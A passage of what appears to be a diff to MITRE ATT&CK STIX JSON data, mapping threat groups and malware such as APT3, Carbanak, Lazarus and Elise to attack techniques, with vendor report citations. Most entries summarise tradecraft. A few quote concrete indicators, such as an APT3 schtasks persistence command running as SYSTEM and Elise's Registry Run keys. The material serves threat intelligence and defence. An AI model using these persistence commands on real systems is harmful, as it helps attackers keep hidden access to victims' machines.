Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "source_name": "JPCERT ChChes Feb 2017", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--89c6bcd7-e330-4902-8296-0918923d6573", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used [Forfiles](https://attack.mitre.org/software/S0193) to locate PDF, Excel, and Word documents during. The group also searched a compromised DCCC computer for specific terms.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "\u00dcberwachung APT28 Forfiles June 2015", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used HTTPS and DNS tunneling for C2. The group has also used the Plink utility to create SSH tunnels.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b398ed8d-5801-4cf0-bea2-c8b62c568bcd", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.388Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader creates persistence by creating the following scheduled task: schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON /ru \"System\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.056Z", + "id": "relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.254Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "If establishing persistence by installation as a new service fails, one variant of [Elise](https://attack.mitre.org/software/S0081) establishes persistence for the created .exe file by setting the following Registry key: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost : %APPDATA%\\Microsoft\\Network\\svchost.exe. Other variants have set the following Registry keys for persistence: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\imejp : [self] and HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\IAStorD.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.732Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has interacted with compromised systems to browse and copy files through its graphical user interface in [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fa6f1136-5ead-4d9d-8c0d-bac9176ef591", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.264Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Twitter Cglyer Status Update APT3 eml", + "description": "Glyer, C. (2018, April 14). @cglyer Status Update. Retrieved October 11, 2018.", + "url": "https://twitter.com/cglyer/status/985311489782374400" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that looks for files and directories on the local file system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a8b248fe-a27c-40fd-83d5-f4382035d656", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.276Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--59223275-a57b-45ca-94b6-5c504165d8f9", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) uses XOR with random keys for its communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5d573c29-a5c9-4c28-b091-ca22c24abd5c", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can inject content into lsass.exe to load a module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--72810e5a-0394-4acc-8c3d-3360df2679ee", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can download additional encrypted backdoors onto the victim via GIF files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c", + "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", + "source_name": "Securelist MiniDuke Feb 2013", + "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) can establish persistence by adding Registry Run keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--4696a49d-caa1-4746-b106-45faf327270b", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c585ae70-1bda-4751-ad34-536a78b7daad", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can use HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used CHM files to move concealed payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--42488892-2f1d-461e-9f05-3c90be8d58bb", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Lazarus Under The Hood APR 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved October 3, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--44add639-84c1-45e7-a640-bcc3ac2b12e1", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.470Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used Web shells to maintain access to victim websites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--c7017855-dc52-4e9d-977f-3af701e094c8", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.742Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) uses a batch file mechanism to delete its binaries from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--836a705a-3832-4c13-8902-608fd7b1c36f", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) malware installs itself as a service to provide persistence and SYSTEM privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Bandook](https://attack.mitre.org/software/S0234) is capable of taking an image of and uploading the current desktop.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a80ece05-37e1-4828-a9e8-27b30524960b", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "source_name": "Lookout Dark Caracal Jan 2018", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.018Z", + "id": "relationship--1a3de27b-377c-4390-9911-2da8aaa705e3", + "source_ref": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332", + "modified": "2019-07-24T14:37:43.111Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has created Windows tasks to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1b1027ff-81d2-4ae9-85ac-0d886dea8a04", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "One variant of [BlackEnergy](https://attack.mitre.org/software/S0089) creates a new service using either a hard-coded or randomly generated name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.633Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) creates a scheduled task to establish by executing a malicious payload every subsequent minute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--521278a2-0924-4ff8-b5a6-03f5f69426b6", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--312950f2-80d2-4941-bfce-b97b2cb7a1ff", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:21.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Some strings in [HOMEFRY](https://attack.mitre.org/software/S0232) are obfuscated with XOR x56.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--8c7631c4-bc83-4ee5-abb5-c039d63da619", + "source_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "modified": "2019-06-07T15:40:16.252Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s installer uses WMI to search for antivirus display names.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1937b1c7-004f-4d22-bbf2-ab0de1ba8e1a", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used .vbs scripts for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": 